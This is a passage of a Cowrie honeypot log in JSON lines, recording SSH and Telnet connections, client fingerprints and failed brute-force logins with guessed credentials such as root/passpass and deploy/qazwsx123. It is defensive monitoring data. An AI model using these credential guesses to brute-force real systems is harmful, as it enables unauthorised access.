mac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:28.968784Z","src_ip":"190.242.109.42","session":"70a0fe4b9cfe","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"crmadmin","password":"crmadmin123","message":"login attempt [crmadmin/crmadmin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:29.390148Z","src_ip":"190.242.109.42","session":"70a0fe4b9cfe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:30.492219Z","src_ip":"190.242.109.42","session":"70a0fe4b9cfe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":57156,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a111f1d949f","protocol":"ssh","message":"New connection: 193.24.211.100:57156 (159.203.135.109:22) [session: 6a111f1d949f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:32.223251Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:32.228065Z","src_ip":"193.24.211.100","session":"6a111f1d949f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:32.340441Z","src_ip":"193.24.211.100","session":"6a111f1d949f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passpass","message":"login attempt [root/passpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:32.823063Z","src_ip":"193.24.211.100","session":"6a111f1d949f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:33.934643Z","src_ip":"193.24.211.100","session":"6a111f1d949f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60930,"dst_ip":"10.17.0.5","dst_port":22,"session":"70e17274934f","protocol":"ssh","message":"New connection: 103.147.159.91:60930 (10.17.0.5:22) [session: 70e17274934f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:34.795714Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:34.801114Z","src_ip":"103.147.159.91","session":"70e17274934f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:35.046930Z","src_ip":"103.147.159.91","session":"70e17274934f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devops","password":"password","message":"login attempt [devops/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:36.045362Z","src_ip":"103.147.159.91","session":"70e17274934f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:37.291654Z","src_ip":"103.147.159.91","session":"70e17274934f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01431608200073,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:30:50.863941Z","src_ip":"212.55.149.117","session":"cb0f991d460c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":52610,"dst_ip":"10.17.0.5","dst_port":22,"session":"ea32757a3cce","protocol":"ssh","message":"New connection: 151.80.141.196:52610 (10.17.0.5:22) [session: ea32757a3cce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:05.353233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:05.358426Z","src_ip":"151.80.141.196","session":"ea32757a3cce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:05.446235Z","src_ip":"151.80.141.196","session":"ea32757a3cce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"vfrcbv","message":"login attempt [admin/vfrcbv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:05.821592Z","src_ip":"151.80.141.196","session":"ea32757a3cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:06.921066Z","src_ip":"151.80.141.196","session":"ea32757a3cce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01247763633728,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:18.219526Z","src_ip":"212.55.149.117","session":"f9a50c599c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":60990,"dst_ip":"10.17.0.5","dst_port":22,"session":"10e127d053a7","protocol":"ssh","message":"New connection: 103.147.159.91:60990 (10.17.0.5:22) [session: 10e127d053a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:29.818474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:29.823635Z","src_ip":"103.147.159.91","session":"10e127d053a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:30.063534Z","src_ip":"103.147.159.91","session":"10e127d053a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dockeruser","password":"12345678","message":"login attempt [dockeruser/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:31.040652Z","src_ip":"103.147.159.91","session":"10e127d053a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:32.281666Z","src_ip":"103.147.159.91","session":"10e127d053a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":47392,"dst_ip":"10.17.0.5","dst_port":22,"session":"60b2aafaa709","protocol":"ssh","message":"New connection: 190.242.109.42:47392 (10.17.0.5:22) [session: 60b2aafaa709]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:36.037015Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:36.042214Z","src_ip":"190.242.109.42","session":"60b2aafaa709","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:36.143889Z","src_ip":"190.242.109.42","session":"60b2aafaa709","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"qazwsx123","message":"login attempt [deploy/qazwsx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:36.575879Z","src_ip":"190.242.109.42","session":"60b2aafaa709","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:37.679364Z","src_ip":"190.242.109.42","session":"60b2aafaa709","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":41052,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c18d76628ec","protocol":"ssh","message":"New connection: 103.15.226.202:41052 (10.17.0.5:22) [session: 7c18d76628ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:49.183011Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:49.191860Z","src_ip":"103.15.226.202","session":"7c18d76628ec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:49.439454Z","src_ip":"103.15.226.202","session":"7c18d76628ec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nimda@123","message":"login attempt [root/nimda@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:50.192460Z","src_ip":"103.15.226.202","session":"7c18d76628ec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:51.442923Z","src_ip":"103.15.226.202","session":"7c18d76628ec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"151.80.141.196","src_port":40972,"dst_ip":"10.17.0.5","dst_port":22,"session":"d36ab5ec7826","protocol":"ssh","message":"New connection: 151.80.141.196:40972 (10.17.0.5:22) [session: d36ab5ec7826]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:53.355770Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:53.368931Z","src_ip":"151.80.141.196","session":"d36ab5ec7826","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:53.443222Z","src_ip":"151.80.141.196","session":"d36ab5ec7826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sopuser","password":"Changeme_123","message":"login attempt [sopuser/Changeme_123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:53.750821Z","src_ip":"151.80.141.196","session":"d36ab5ec7826","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:54.834655Z","src_ip":"151.80.141.196","session":"d36ab5ec7826","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":29951,"dst_ip":"10.17.0.5","dst_port":22,"session":"33016a9946a0","protocol":"ssh","message":"New connection: 79.127.181.103:29951 (10.17.0.5:22) [session: 33016a9946a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:59.473969Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:59.677335Z","src_ip":"79.127.181.103","session":"33016a9946a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:59.871233Z","src_ip":"79.127.181.103","session":"33016a9946a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:31:59.877508Z","src_ip":"79.127.181.103","session":"33016a9946a0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.147.159.91","src_port":32816,"dst_ip":"10.17.0.5","dst_port":22,"session":"b27604fd5504","protocol":"ssh","message":"New connection: 103.147.159.91:32816 (10.17.0.5:22) [session: b27604fd5504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:23.799460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T07:32:23.815490Z","src_ip":"103.147.159.91","session":"b27604fd5504","protocol":"ssh"}
